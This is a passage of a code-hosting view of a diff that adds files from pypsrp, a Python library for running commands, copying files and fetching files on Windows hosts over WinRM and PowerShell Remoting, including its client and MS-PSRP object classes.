🤬
Showing first 9 files as there are too many
  • ■ ■ ■ ■ ■ ■
    pypsrp/__init__.py
     1 +# Copyright: (c) 2018, Jordan Borean (@jborean93) <[email protected]>
     2 +# MIT License (see LICENSE or https://opensource.org/licenses/MIT)
     3 + 
     4 +import json
     5 +import logging
     6 +import logging.config
     7 +import os
     8 +from logging import NullHandler
     9 + 
     10 + 
     11 +def _setup_logging(logger: logging.Logger) -> None:
     12 + log_path = os.environ.get("PYPSRP_LOG_CFG", None)
     13 + 
     14 + if log_path is not None and os.path.exists(log_path): # pragma: no cover
     15 + # log log config from JSON file
     16 + with open(log_path, "rt") as f:
     17 + config = json.load(f)
     18 + 
     19 + logging.config.dictConfig(config)
     20 + else:
     21 + # no logging was provided
     22 + logger.addHandler(NullHandler())
     23 + 
     24 + 
     25 +logger = logging.getLogger(__name__)
     26 +_setup_logging(logger)
     27 + 
     28 +# Contains a list of features, used by external libraries to determine whether
     29 +# a new enough pypsrp is installed to support the features it needs
     30 +FEATURES = [
     31 + "wsman_locale",
     32 + "wsman_read_timeout",
     33 + "wsman_reconnections",
     34 +]
     35 + 
  • ■ ■ ■ ■ ■ ■
    pypsrp/_utils.py
     1 +# Copyright: (c) 2018, Jordan Borean (@jborean93) <[email protected]>
     2 +# MIT License (see LICENSE or https://opensource.org/licenses/MIT)
     3 + 
     4 +import pkgutil
     5 +import typing
     6 +from urllib.parse import urlparse
     7 + 
     8 + 
     9 +def to_bytes(
     10 + obj: typing.Any,
     11 + encoding: str = "utf-8",
     12 +) -> bytes:
     13 + """
     14 + Makes sure the string is encoded as a byte string.
     15 + 
     16 + :param obj: Python 2 string, Python 3 byte string, Unicode string to encode
     17 + :param encoding: The encoding to use
     18 + :return: The byte string that was encoded
     19 + """
     20 + if isinstance(obj, bytes):
     21 + return obj
     22 + 
     23 + return obj.encode(encoding)
     24 + 
     25 + 
     26 +def to_unicode(
     27 + obj: typing.Any,
     28 + encoding: str = "utf-8",
     29 +) -> str:
     30 + """
     31 + Makes sure the string is unicode string.
     32 + 
     33 + :param obj: Python 2 string, Python 3 byte string, Unicode string to decode
     34 + :param encoding: The encoding to use
     35 + :return: THe unicode string the was decoded
     36 + """
     37 + if obj is None:
     38 + obj = str(None)
     39 + 
     40 + if isinstance(obj, str):
     41 + return obj
     42 + 
     43 + return obj.decode(encoding)
     44 + 
     45 + 
     46 +"""
     47 +Python 2 and 3 handle native strings differently, 2 is like a byte string while
     48 +3 uses unicode as the native string. The function to_string is used to easily
     49 +convert an existing string like object to the native version that is required
     50 +"""
     51 +to_string = to_unicode
     52 + 
     53 + 
     54 +def version_equal_or_newer(
     55 + version: str,
     56 + reference_version: str,
     57 +) -> bool:
     58 + """
     59 + Compares the 2 version strings and returns a bool that states whether
     60 + version is newer than or equal to the reference version.
     61 + 
     62 + This is quite strict and splits the string by . and compares the int
     63 + values in them
     64 + 
     65 + :param version: The version string to compare
     66 + :param reference_version: The version string to check version against
     67 + :return: True if version is newer than or equal to reference_version
     68 + """
     69 + version_parts = version.split(".")
     70 + reference_version_parts = reference_version.split(".")
     71 + 
     72 + # pad the version parts by 0 so the comparisons after won't fail with an
     73 + # index error
     74 + if len(version_parts) < len(reference_version_parts):
     75 + diff = len(reference_version_parts) - len(version_parts)
     76 + version_parts.extend(["0"] * diff)
     77 + if len(reference_version_parts) < len(version_parts):
     78 + diff = len(version_parts) - len(reference_version_parts)
     79 + reference_version_parts.extend(["0"] * diff)
     80 + 
     81 + newer = True
     82 + for idx, version in enumerate(version_parts):
     83 + current_version = int(reference_version_parts[idx])
     84 + if int(version) < current_version:
     85 + newer = False
     86 + break
     87 + elif int(version) > current_version:
     88 + break
     89 + 
     90 + return newer
     91 + 
     92 + 
     93 +def get_hostname(url: str) -> typing.Optional[str]:
     94 + return urlparse(url).hostname
     95 + 
     96 + 
     97 +def get_pwsh_script(name: str) -> str:
     98 + """
     99 + Get the contents of a script stored in pypsrp/pwsh_scripts. Will also strip out any empty lines and comments to
     100 + reduce the data we send across as much as possible.
     101 + 
     102 + :param name: The filename of the script in pypsrp/pwsh_scripts to get.
     103 + :return: The script contents.
     104 + """
     105 + script = to_unicode(pkgutil.get_data("pypsrp.pwsh_scripts", name))
     106 + 
     107 + block_comment = False
     108 + new_lines = []
     109 + for line in script.splitlines():
     110 + 
     111 + line = line.strip()
     112 + if block_comment:
     113 + block_comment = not line.endswith("#>")
     114 + elif line.startswith("<#"):
     115 + block_comment = True
     116 + elif line and not line.startswith("#"):
     117 + new_lines.append(line)
     118 + 
     119 + return "\n".join(new_lines)
     120 + 
  • ■ ■ ■ ■ ■ ■
    pypsrp/client.py
     1 +# Copyright: (c) 2018, Jordan Borean (@jborean93) <[email protected]>
     2 +# MIT License (see LICENSE or https://opensource.org/licenses/MIT)
     3 + 
     4 +from __future__ import division
     5 + 
     6 +import base64
     7 +import hashlib
     8 +import logging
     9 +import os
     10 +import shutil
     11 +import tempfile
     12 +import types
     13 +import typing
     14 +import warnings
     15 +import xml.etree.ElementTree as ET
     16 + 
     17 +from pypsrp._utils import get_pwsh_script, to_bytes, to_unicode
     18 +from pypsrp.complex_objects import ComplexObject
     19 +from pypsrp.exceptions import WinRMError
     20 +from pypsrp.powershell import (
     21 + DEFAULT_CONFIGURATION_NAME,
     22 + PowerShell,
     23 + PSDataStreams,
     24 + RunspacePool,
     25 +)
     26 +from pypsrp.serializer import Serializer
     27 +from pypsrp.shell import Process, SignalCode, WinRS
     28 +from pypsrp.wsman import WSMan
     29 + 
     30 +log = logging.getLogger(__name__)
     31 + 
     32 + 
     33 +class Client(object):
     34 + def __init__(
     35 + self,
     36 + server: str,
     37 + **kwargs: typing.Any,
     38 + ) -> None:
     39 + """
     40 + Creates a client object used to do the following
     41 + spawn new cmd command/process
     42 + spawn new PowerShell Runspace Pool/Pipeline
     43 + copy a file from localhost to the remote Windows host
     44 + fetch a file from the remote Windows host to localhost
     45 + 
     46 + This is just an easy to use layer on top of the objects WinRS and
     47 + RunspacePool/PowerShell. It trades flexibility in favour of simplicity.
     48 + 
     49 + If your use case needs some of that flexibility you can use these
     50 + functions as a reference implementation for your own functions.
     51 + 
     52 + :param server: The server/host to connect to
     53 + :param kwargs: The various WSMan args to control the transport
     54 + mechanism, see pypsrp.wsman.WSMan for these args
     55 + """
     56 + self.wsman = WSMan(server, **kwargs)
     57 + 
     58 + def __enter__(self) -> "Client":
     59 + return self
     60 + 
     61 + def __exit__(
     62 + self,
     63 + exc_type: typing.Optional[typing.Type[BaseException]],
     64 + value: typing.Optional[BaseException],
     65 + traceback: typing.Optional[types.TracebackType],
     66 + ) -> None:
     67 + self.close()
     68 + 
     69 + def copy(
     70 + self,
     71 + src: str,
     72 + dest: str,
     73 + configuration_name: str = DEFAULT_CONFIGURATION_NAME,
     74 + expand_variables: bool = False,
     75 + ) -> str:
     76 + """
     77 + Copies a single file from the current host to the remote Windows host.
     78 + This can be quite slow when it comes to large files due to the
     79 + limitations of WinRM but it is designed to be as fast as it can be.
     80 + During the copy process, the bytes will be stored in a temporary file
     81 + before being copied.
     82 + 
     83 + When copying it will replace the file at dest if one already exists. It
     84 + also will verify the checksum of the copied file is the same as the
     85 + actual file locally before copying the file to the path at dest.
     86 + 
     87 + :param src: The path to the local file
     88 + :param dest: The path to the destination file on the Windows host
     89 + :param configuration_name: The PowerShell configuration endpoint to
     90 + use when copying the file.
     91 + :param expand_variables: Expand variables in path. Disabled by default
     92 + Enable for cmd like expansion (for example %TMP% in path)
     93 + :return: The absolute path of the file on the Windows host
     94 + """
     95 + 
     96 + def read_buffer(b_path: bytes, total_size: int, buffer_size: int) -> typing.Iterator:
     97 + offset = 0
     98 + sha1 = hashlib.sha1()
     99 + 
     100 + with open(b_path, "rb") as src_file:
     101 + for data in iter((lambda: src_file.read(buffer_size)), b""):
     102 + log.debug("Reading data of file at offset=%d with size=%d" % (offset, buffer_size))
     103 + offset += len(data)
     104 + sha1.update(data)
     105 + b64_data = base64.b64encode(data)
     106 + 
     107 + result = [to_unicode(b64_data)]
     108 + if offset == total_size:
     109 + result.append(to_unicode(base64.b64encode(to_bytes(sha1.hexdigest()))))
     110 + 
     111 + yield result
     112 + 
     113 + # the file was empty, return empty buffer
     114 + if offset == 0:
     115 + yield ["", to_unicode(base64.b64encode(to_bytes(sha1.hexdigest())))]
     116 + 
     117 + if expand_variables:
     118 + src = os.path.expanduser(os.path.expandvars(src))
     119 + b_src = to_bytes(src)
     120 + src_size = os.path.getsize(b_src)
     121 + log.info("Copying '%s' to '%s' with a total size of %d" % (src, dest, src_size))
     122 + 
     123 + with RunspacePool(self.wsman, configuration_name=configuration_name) as pool:
     124 + # Get the buffer size of each fragment to send, subtract. Adjust to size of the base64 encoded bytes. Also
     125 + # subtract 82 for the fragment, message, and other header info that PSRP adds.
     126 + buffer_size = int((self.wsman.max_payload_size - 82) / 4 * 3)
     127 + 
     128 + log.info("Creating file reader with a buffer size of %d" % buffer_size)
     129 + read_gen = read_buffer(b_src, src_size, buffer_size)
     130 + 
     131 + command = get_pwsh_script("copy.ps1")
     132 + log.debug("Starting to send file data to remote process")
     133 + powershell = PowerShell(pool)
     134 + powershell.add_script(command).add_argument(dest).add_argument(expand_variables)
     135 + powershell.invoke(input=read_gen)
     136 + _handle_powershell_error(powershell, "Failed to copy file")
     137 + 
     138 + log.debug("Finished sending file data to remote process")
     139 + for warning in powershell.streams.warning:
     140 + warnings.warn(str(warning))
     141 + 
     142 + output_file = to_unicode(powershell.output[-1]).strip()
     143 + log.info("Completed file transfer of '%s' to '%s'" % (src, output_file))
     144 + return output_file
     145 + 
     146 + def execute_cmd(
     147 + self,
     148 + command: str,
     149 + encoding: str = "437",
     150 + environment: typing.Optional[typing.Dict[str, str]] = None,
     151 + ) -> typing.Tuple[str, str, int]:
     152 + """
     153 + Executes a command in a cmd shell and returns the stdout/stderr/rc of
     154 + that process. This uses the raw WinRS layer and can be used to execute
     155 + a traditional process.
     156 + 
     157 + :param command: The command to execute
     158 + :param encoding: The encoding of the output std buffers, this
     159 + correlates to the codepage of the host and traditionally en-US
     160 + is 437. This probably doesn't need to be modified unless you are
     161 + running a different codepage on your host
     162 + :param environment: A dictionary containing environment keys and
     163 + values to set on the executing process.
     164 + :return: A tuple of
     165 + stdout: A unicode string of the stdout
     166 + stderr: A unicode string of the stderr
     167 + rc: The return code of the process
     168 + 
     169 + Both stdout and stderr are returned from the server as a byte string,
     170 + they are converted to a unicode string based on the encoding variable
     171 + set
     172 + """
     173 + log.info("Executing cmd process '%s'" % command)
     174 + with WinRS(self.wsman, environment=environment) as shell:
     175 + process = Process(shell, command)
     176 + process.invoke()
     177 + process.signal(SignalCode.CTRL_C)
     178 + 
     179 + rc = process.rc if process.rc is not None else -1
     180 + return to_unicode(process.stdout, encoding), to_unicode(process.stderr, encoding), rc
     181 + 
     182 + def execute_ps(
     183 + self,
     184 + script: str,
     185 + configuration_name: str = DEFAULT_CONFIGURATION_NAME,
     186 + environment: typing.Optional[typing.Dict[str, str]] = None,
     187 + ) -> typing.Tuple[str, PSDataStreams, bool]:
     188 + """
     189 + Executes a PowerShell script in a PowerShell runspace pool. This uses
     190 + the PSRP layer and is designed to run a PowerShell script and not a
     191 + raw executable.
     192 + 
     193 + Because this runs in a runspace, traditional concepts like stdout,
     194 + stderr, rc's are no longer relevant. Instead there is a output,
     195 + error/verbose/debug streams, and a boolean that indicates if the
     196 + script execution came across an error. If you want the traditional
     197 + stdout/stderr/rc, use execute_cmd instead.
     198 + 
     199 + :param script: The PowerShell script to run
     200 + :param configuration_name: The PowerShell configuration endpoint to
     201 + use when executing the script.
     202 + :param environment: A dictionary containing environment keys and
     203 + values to set on the executing script.
     204 + :return: A tuple of
     205 + output: A unicode string of the output stream
     206 + streams: pypsrp.powershell.PSDataStreams containing the other
     207 + PowerShell streams
     208 + had_errors: bool that indicates whether the script had errors
     209 + during execution
     210 + """
     211 + log.info("Executing PowerShell script '%s'" % script)
     212 + with RunspacePool(self.wsman, configuration_name=configuration_name) as pool:
     213 + powershell = PowerShell(pool)
     214 + 
     215 + if environment:
     216 + for env_key, env_value in environment.items():
     217 + # Done like this for easier testing, preserves the param order
     218 + log.debug("Setting env var '%s' on PS script execution" % env_key)
     219 + powershell.add_cmdlet("New-Item").add_parameter("Path", "env:").add_parameter(
     220 + "Name", env_key
     221 + ).add_parameter("Value", env_value).add_parameter("Force", True).add_cmdlet(
     222 + "Out-Null"
     223 + ).add_statement()
     224 + 
     225 + # so the client executes a powershell script and doesn't need to
     226 + # deal with complex PS objects, we run the script in
     227 + # Invoke-Expression and convert the output to a string
     228 + # if a user wants to get the raw complex objects then they should
     229 + # use RunspacePool and PowerShell directly
     230 + powershell.add_cmdlet("Invoke-Expression").add_parameter("Command", script)
     231 + powershell.add_cmdlet("Out-String").add_parameter("Stream")
     232 + powershell.invoke()
     233 + 
     234 + return "\n".join(powershell.output), powershell.streams, powershell.had_errors
     235 + 
     236 + def fetch(
     237 + self,
     238 + src: str,
     239 + dest: str,
     240 + configuration_name: str = DEFAULT_CONFIGURATION_NAME,
     241 + expand_variables: bool = False,
     242 + ) -> None:
     243 + """
     244 + Will fetch a single file from the remote Windows host and create a
     245 + local copy. Like copy(), this can be slow when it comes to fetching
     246 + large files due to the limitation of WinRM.
     247 + 
     248 + This method will first store the file in a temporary location before
     249 + creating or replacing the file at dest if the checksum is correct.
     250 + 
     251 + :param src: The path to the file on the remote host to fetch
     252 + :param dest: The path on the localhost host to store the file as
     253 + :param configuration_name: The PowerShell configuration endpoint to
     254 + use when fetching the file.
     255 + :param expand_variables: Expand variables in path. Disabled by default
     256 + Enable for cmd like expansion (for example %TMP% in path)
     257 + """
     258 + if expand_variables:
     259 + dest = os.path.expanduser(os.path.expandvars(dest))
     260 + log.info("Fetching '%s' to '%s'" % (src, dest))
     261 + 
     262 + with RunspacePool(self.wsman, configuration_name=configuration_name) as pool:
     263 + script = get_pwsh_script("fetch.ps1")
     264 + powershell = PowerShell(pool)
     265 + powershell.add_script(script).add_argument(src).add_argument(expand_variables)
     266 + 
     267 + log.debug("Starting remote process to output file data")
     268 + powershell.invoke()
     269 + _handle_powershell_error(powershell, "Failed to fetch file %s" % src)
     270 + log.debug("Finished remote process to output file data")
     271 + 
     272 + expected_hash = powershell.output[-1]
     273 + 
     274 + temp_file, path = tempfile.mkstemp()
     275 + try:
     276 + file_bytes = base64.b64decode(powershell.output[0])
     277 + os.write(temp_file, file_bytes)
     278 + 
     279 + sha1 = hashlib.sha1()
     280 + sha1.update(file_bytes)
     281 + actual_hash = sha1.hexdigest()
     282 + 
     283 + log.debug("Remote Hash: %s, Local Hash: %s" % (expected_hash, actual_hash))
     284 + if actual_hash != expected_hash:
     285 + raise WinRMError(
     286 + "Failed to fetch file %s, hash mismatch\n"
     287 + "Source: %s\nFetched: %s" % (src, expected_hash, actual_hash)
     288 + )
     289 + shutil.copy(path, dest)
     290 + finally:
     291 + os.close(temp_file)
     292 + os.remove(path)
     293 + 
     294 + def close(self) -> None:
     295 + self.wsman.close()
     296 + 
     297 + @staticmethod
     298 + def sanitise_clixml(clixml: str) -> str:
     299 + """
     300 + When running a powershell script in execute_cmd (WinRS), the stderr
     301 + stream may contain some clixml. This method will clear it up and
     302 + replace it with the error string it would represent. This isn't done
     303 + by default on execute_cmd for various reasons but people can call it
     304 + manually here if they like.
     305 + 
     306 + :param clixml: The clixml to parse
     307 + :return: A unicode code string of the decoded output
     308 + """
     309 + output = to_unicode(clixml)
     310 + if output.startswith("#< CLIXML"):
     311 + # Strip off the '#< CLIXML\r\n' by finding the 2nd index of '<'
     312 + output = output[clixml.index("<", 2) :]
     313 + element = ET.fromstring(output)
     314 + namespace = element.tag.replace("Objs", "")[1:-1]
     315 + 
     316 + errors: typing.List[str] = []
     317 + for error in element.findall("{%s}S[@S='Error']" % namespace):
     318 + errors.append(error.text or "")
     319 + 
     320 + output = Serializer()._deserialize_string("".join(errors))
     321 + 
     322 + return output
     323 + 
     324 + 
     325 +def _handle_powershell_error(powershell: PowerShell, message: str) -> None:
     326 + if message and powershell.had_errors:
     327 + errors = powershell.streams.error
     328 + error = "\n".join([str(err) for err in errors])
     329 + raise WinRMError("%s: %s" % (message, error))
     330 + 
  • ■ ■ ■ ■ ■ ■
    pypsrp/complex_objects.py
     1 +# Copyright: (c) 2018, Jordan Borean (@jborean93) <[email protected]>
     2 +# MIT License (see LICENSE or https://opensource.org/licenses/MIT)
     3 + 
     4 +import typing
     5 +from copy import deepcopy
     6 + 
     7 +from pypsrp._utils import to_string, version_equal_or_newer
     8 + 
     9 + 
     10 +class ObjectMeta(object):
     11 + def __init__(
     12 + self,
     13 + tag: str = "*",
     14 + name: typing.Optional[str] = None,
     15 + optional: bool = False,
     16 + object: typing.Any = None,
     17 + ) -> None:
     18 + self.tag = tag
     19 + self.name = name
     20 + self.optional = optional
     21 + self.object = object
     22 + 
     23 + 
     24 +class ListMeta(ObjectMeta):
     25 + def __init__(
     26 + self,
     27 + obj_type: str = "LST",
     28 + name: typing.Optional[str] = None,
     29 + optional: bool = False,
     30 + list_value_meta: typing.Optional[ObjectMeta] = None,
     31 + list_types: typing.Optional[typing.List[str]] = None,
     32 + ) -> None:
     33 + super(ListMeta, self).__init__(obj_type, name, optional)
     34 + 
     35 + if list_value_meta is None:
     36 + self.list_value_meta = ObjectMeta()
     37 + else:
     38 + self.list_value_meta = list_value_meta
     39 + 
     40 + if list_types is None:
     41 + self.list_types = ["System.Object[]", "System.Array", "System.Object"]
     42 + else:
     43 + self.list_types = list_types
     44 + 
     45 + 
     46 +class StackMeta(ListMeta):
     47 + def __init__(
     48 + self,
     49 + name: typing.Optional[str] = None,
     50 + optional: bool = False,
     51 + list_value_meta: typing.Optional[ObjectMeta] = None,
     52 + list_types: typing.Optional[typing.List[str]] = None,
     53 + ) -> None:
     54 + if list_types is None:
     55 + list_types = ["System.Collections.Stack", "System.Object"]
     56 + super(StackMeta, self).__init__("STK", name, optional, list_value_meta, list_types)
     57 + 
     58 + 
     59 +class QueueMeta(ListMeta):
     60 + def __init__(
     61 + self,
     62 + name: typing.Optional[str] = None,
     63 + optional: bool = False,
     64 + list_value_meta: typing.Optional[ObjectMeta] = None,
     65 + list_types: typing.Optional[typing.List[str]] = None,
     66 + ) -> None:
     67 + if list_types is None:
     68 + list_types = ["System.Collections.Queue", "System.Object"]
     69 + super(QueueMeta, self).__init__("QUE", name, optional, list_value_meta, list_types)
     70 + 
     71 + 
     72 +class DictionaryMeta(ObjectMeta):
     73 + def __init__(
     74 + self,
     75 + name: typing.Optional[str] = None,
     76 + optional: bool = False,
     77 + dict_key_meta: typing.Optional[ObjectMeta] = None,
     78 + dict_value_meta: typing.Optional[ObjectMeta] = None,
     79 + dict_types: typing.Optional[typing.List[str]] = None,
     80 + ) -> None:
     81 + super(DictionaryMeta, self).__init__("DCT", name, optional)
     82 + if dict_key_meta is None:
     83 + self.dict_key_meta = ObjectMeta(name="Key")
     84 + else:
     85 + self.dict_key_meta = dict_key_meta
     86 + 
     87 + if dict_value_meta is None:
     88 + self.dict_value_meta = ObjectMeta(name="Value")
     89 + else:
     90 + self.dict_value_meta = dict_value_meta
     91 + 
     92 + if dict_types is None:
     93 + self.dict_types = ["System.Collections.Hashtable", "System.Object"]
     94 + else:
     95 + self.dict_types = dict_types
     96 + 
     97 + 
     98 +class ComplexObject(object):
     99 + def __init__(self) -> None:
     100 + self._adapted_properties: typing.Tuple[typing.Tuple[str, ObjectMeta], ...] = ()
     101 + self._extended_properties: typing.Tuple[typing.Tuple[str, ObjectMeta], ...] = ()
     102 + self._property_sets: typing.Tuple[typing.Tuple[str, ObjectMeta], ...] = ()
     103 + self._types: typing.List[str] = []
     104 + self._to_string = None
     105 + self._xml: typing.Optional[str] = None # only populated on deserialization
     106 + 
     107 + def __str__(self) -> str:
     108 + return to_string(self._to_string)
     109 + 
     110 + 
     111 +class GenericComplexObject(ComplexObject):
     112 + def __init__(self) -> None:
     113 + super(GenericComplexObject, self).__init__()
     114 + self.property_sets: typing.List[typing.Any] = []
     115 + self.extended_properties: typing.Dict[str, typing.Any] = {}
     116 + self.adapted_properties: typing.Dict[str, typing.Any] = {}
     117 + self.to_string: typing.Optional[str] = None
     118 + self.types: typing.List[str] = []
     119 + 
     120 + def __str__(self) -> str:
     121 + return to_string(self.to_string)
     122 + 
     123 + 
     124 +class Enum(ComplexObject):
     125 + def __init__(
     126 + self,
     127 + enum_type: typing.Optional[str],
     128 + string_map: typing.Dict[int, str],
     129 + **kwargs: typing.Any,
     130 + ) -> None:
     131 + super(Enum, self).__init__()
     132 + self._types = ["System.Enum", "System.ValueType", "System.Object"]
     133 + if enum_type is not None:
     134 + self._types.insert(0, enum_type)
     135 + 
     136 + self._property_sets = (("value", ObjectMeta("I32")),)
     137 + self._string_map = string_map
     138 + 
     139 + self.value = kwargs.get("value")
     140 + 
     141 + @property # type: ignore[override]
     142 + def _to_string(self) -> str: # type: ignore[override]
     143 + try:
     144 + return self._string_map[self.value or 0]
     145 + except KeyError as err:
     146 + raise KeyError(
     147 + "%s is not a valid enum value for %s, valid values are %s" % (err, self._types[0], self._string_map)
     148 + )
     149 + 
     150 + @_to_string.setter
     151 + def _to_string(self, value: str) -> None:
     152 + pass
     153 + 
     154 + 
     155 +# PSRP Complex Objects - https://msdn.microsoft.com/en-us/library/dd302883.aspx
     156 +class Coordinates(ComplexObject):
     157 + def __init__(
     158 + self,
     159 + **kwargs: typing.Any,
     160 + ) -> None:
     161 + """
     162 + [MS-PSRP] 2.2.3.1 Coordinates
     163 + https://msdn.microsoft.com/en-us/library/dd302883.aspx
     164 + 
     165 + :param x: The X coordinate (0 is the leftmost column)
     166 + :param y: The Y coordinate (0 is the topmost row)
     167 + """
     168 + super(Coordinates, self).__init__()
     169 + self._adapted_properties = (
     170 + ("x", ObjectMeta("I32", name="X")),
     171 + ("y", ObjectMeta("I32", name="Y")),
     172 + )
     173 + self._types = ["System.Management.Automation.Host.Coordinates", "System.ValueType", "System.Object"]
     174 + self.x = kwargs.get("x")
     175 + self.y = kwargs.get("y")
     176 + 
     177 + 
     178 +class Size(ComplexObject):
     179 + def __init__(self, **kwargs: typing.Any) -> None:
     180 + """
     181 + [MS-PSRP] 2.2.3.2 Size
     182 + https://msdn.microsoft.com/en-us/library/dd305083.aspx
     183 + 
     184 + :param width: The width of the size
     185 + :param height: The height of the size
     186 + """
     187 + super(Size, self).__init__()
     188 + self._adapted_properties = (
     189 + ("width", ObjectMeta("I32", name="Width")),
     190 + ("height", ObjectMeta("I32", name="Height")),
     191 + )
     192 + self._types = ["System.Management.Automation.Host.Size", "System.ValueType", "System.Object"]
     193 + self.width = kwargs.get("width")
     194 + self.height = kwargs.get("height")
     195 + 
     196 + 
     197 +class Color(Enum):
     198 + BLACK = 0
     199 + DARK_BLUE = 1
     200 + DARK_GREEN = 2
     201 + DARK_CYAN = 3
     202 + DARK_RED = 4
     203 + DARK_MAGENTA = 5
     204 + DARK_YELLOW = 6
     205 + GRAY = 7
     206 + DARK_GRAY = 8
     207 + BLUE = 9
     208 + GREEN = 10
     209 + CYAN = 11
     210 + RED = 12
     211 + MAGENTA = 13
     212 + YELLOW = 14
     213 + WHITE = 15
     214 + 
     215 + def __init__(
     216 + self,
     217 + **kwargs: typing.Any,
     218 + ) -> None:
     219 + """
     220 + [MS-PSRP] 2.2.3.3 Color
     221 + https://msdn.microsoft.com/en-us/library/dd360026.aspx
     222 + 
     223 + :param value: The enum value for Color
     224 + """
     225 + string_map = {
     226 + 0: "Black",
     227 + 1: "DarkBlue",
     228 + 2: "DarkGreen",
     229 + 3: "DarkCyan",
     230 + 4: "DarkRed",
     231 + 5: "DarkMagenta",
     232 + 6: "DarkYellow",
     233 + 7: "Gray",
     234 + 8: "DarkGray",
     235 + 9: "Blue",
     236 + 10: "Green",
     237 + 11: "Cyan",
     238 + 12: "Red",
     239 + 13: "Magenta",
     240 + 14: "Yellow",
     241 + 15: "White",
     242 + }
     243 + super(Color, self).__init__("System.ConsoleColor", string_map, **kwargs)
     244 + 
     245 + 
     246 +class RunspacePoolState(object):
     247 + BEFORE_OPEN = 0
     248 + OPENING = 1
     249 + OPENED = 2
     250 + CLOSED = 3
     251 + CLOSING = 4
     252 + BROKEN = 5
     253 + NEGOTIATION_SENT = 6
     254 + NEGOTIATION_SUCCEEDED = 7
     255 + CONNECTING = 8
     256 + DISCONNECTED = 9
     257 + 
     258 + def __init__(self, state):
     259 + """
     260 + [MS-PSRP] 2.2.3.4 RunspacePoolState
     261 + https://msdn.microsoft.com/en-us/library/dd341723.aspx
     262 + 
     263 + Represents the state of the RunspacePool.
     264 + 
     265 + :param state: The state int value
     266 + """
     267 + self.state = state
     268 + 
     269 + def __str__(self):
     270 + return {
     271 + 0: "BeforeOpen",
     272 + 1: "Opening",
     273 + 2: "Opened",
     274 + 3: "Closed",
     275 + 4: "Closing",
     276 + 5: "Broken",
     277 + 6: "NegotiationSent",
     278 + 7: "NegotiationSucceeded",
     279 + 8: "Connecting",
     280 + 9: "Disconnected",
     281 + }[self.state]
     282 + 
     283 + 
     284 +class PSInvocationState(object):
     285 + NOT_STARTED = 0
     286 + RUNNING = 1
     287 + STOPPING = 2
     288 + STOPPED = 3
     289 + COMPLETED = 4
     290 + FAILED = 5
     291 + DISCONNECTED = 6
     292 + 
     293 + def __init__(self, state):
     294 + """
     295 + [MS-PSRP] 2.2.3.5 PSInvocationState
     296 + https://msdn.microsoft.com/en-us/library/dd341651.aspx
     297 + 
     298 + Represents the state of a pipeline invocation.
     299 + 
     300 + :param state: The state int value
     301 + """
     302 + self.state = state
     303 + 
     304 + def __str__(self):
     305 + return {
     306 + 0: "NotStarted",
     307 + 1: "Running",
     308 + 2: "Stopping",
     309 + 3: "Stopped",
     310 + 4: "Completed",
     311 + 5: "Failed",
     312 + 6: "Disconnected",
     313 + }[self.state]
     314 + 
     315 + 
     316 +class PSThreadOptions(Enum):
     317 + DEFAULT = 0
     318 + USE_NEW_THREAD = 1
     319 + REUSE_THREAD = 2
     320 + USE_CURRENT_THREAD = 3
     321 + 
     322 + def __init__(
     323 + self,
     324 + **kwargs: typing.Any,
     325 + ) -> None:
     326 + """
     327 + [MS-PSRP] 2.2.3.6 PSThreadOptions
     328 + https://msdn.microsoft.com/en-us/library/dd305678.aspx
     329 + 
     330 + :param value: The enum value for PS Thread Options
     331 + """
     332 + string_map = {0: "Default", 1: "UseNewThread", 2: "ReuseThread", 3: "UseCurrentThread"}
     333 + super(PSThreadOptions, self).__init__(
     334 + "System.Management.Automation.Runspaces.PSThreadOptions", string_map, **kwargs
     335 + )
     336 + 
     337 + 
     338 +class ApartmentState(Enum):
     339 + STA = 0
     340 + MTA = 1
     341 + UNKNOWN = 2
     342 + 
     343 + def __init__(
     344 + self,
     345 + **kwargs: typing.Any,
     346 + ) -> None:
     347 + """
     348 + [MS-PSRP] 2.2.3.7 ApartmentState
     349 + https://msdn.microsoft.com/en-us/library/dd304257.aspx
     350 + 
     351 + :param value: The enum value for Apartment State
     352 + """
     353 + string_map = {0: "STA", 1: "MTA", 2: "UNKNOWN"}
     354 + super(ApartmentState, self).__init__(
     355 + "System.Management.Automation.Runspaces.ApartmentState", string_map, **kwargs
     356 + )
     357 + 
     358 + 
     359 +class RemoteStreamOptions(Enum):
     360 + ADD_INVOCATION_INFO_TO_ERROR_RECORD = 1
     361 + ADD_INVOCATION_INFO_TO_WARNING_RECORD = 2
     362 + ADD_INVOCATION_INFO_TO_DEBUG_RECORD = 4
     363 + ADD_INVOCATION_INFO_TO_VERBOSE_RECORD = 8
     364 + ADD_INVOCATION_INFO = 15
     365 + 
     366 + def __init__(
     367 + self,
     368 + **kwargs: typing.Any,
     369 + ) -> None:
     370 + """
     371 + [MS-PSRP] 2.2.3.8 RemoteStreamOptions
     372 + https://msdn.microsoft.com/en-us/library/dd303829.aspx
     373 + 
     374 + :param value: The initial RemoteStreamOption to set
     375 + """
     376 + super(RemoteStreamOptions, self).__init__(
     377 + "System.Management.Automation.Runspaces.RemoteStreamOptions", {}, **kwargs
     378 + )
     379 + 
     380 + @property # type: ignore[override]
     381 + def _to_string(self) -> str: # type: ignore[override]
     382 + if self.value == 15:
     383 + return "AddInvocationInfo"
     384 + 
     385 + string_map = (
     386 + ("AddInvocationInfoToErrorRecord", 1),
     387 + ("AddInvocationInfoToWarningRecord", 2),
     388 + ("AddInvocationInfoToDebugRecord", 4),
     389 + ("AddInvocationInfoToVerboseRecord", 8),
     390 + )
     391 + values = []
     392 + for name, flag in string_map:
     393 + if (self.value or 0) & flag == flag:
     394 + values.append(name)
     395 + return ", ".join(values)
     396 + 
     397 + @_to_string.setter
     398 + def _to_string(self, value):
     399 + pass
     400 + 
     401 + 
     402 +class Pipeline(ComplexObject):
     403 + class _ExtraCmds(ComplexObject):
     404 + def __init__(self, **kwargs):
     405 + # Used to encapsulate ExtraCmds in the structure required
     406 + super(Pipeline._ExtraCmds, self).__init__()
     407 + self._extended_properties = (
     408 + (
     409 + "cmds",
     410 + ListMeta(
     411 + name="Cmds",
     412 + list_value_meta=ObjectMeta("Obj", object=Command),
     413 + list_types=[
     414 + "System.Collections.Generic.List`1[["
     415 + "System.Management.Automation.PSObject, "
     416 + "System.Management.Automation, Version=1.0.0.0, "
     417 + "Culture=neutral, PublicKeyToken=31bf3856ad364e35]]",
     418 + "System.Object",
     419 + ],
     420 + ),
     421 + ),
     422 + )
     423 + self.cmds = kwargs.get("cmds")
     424 + 
     425 + def __init__(
     426 + self,
     427 + **kwargs: typing.Any,
     428 + ) -> None:
     429 + """
     430 + [MS-PSRP] 2.2.3.11 Pipeline
     431 + https://msdn.microsoft.com/en-us/library/dd358182.aspx
     432 + 
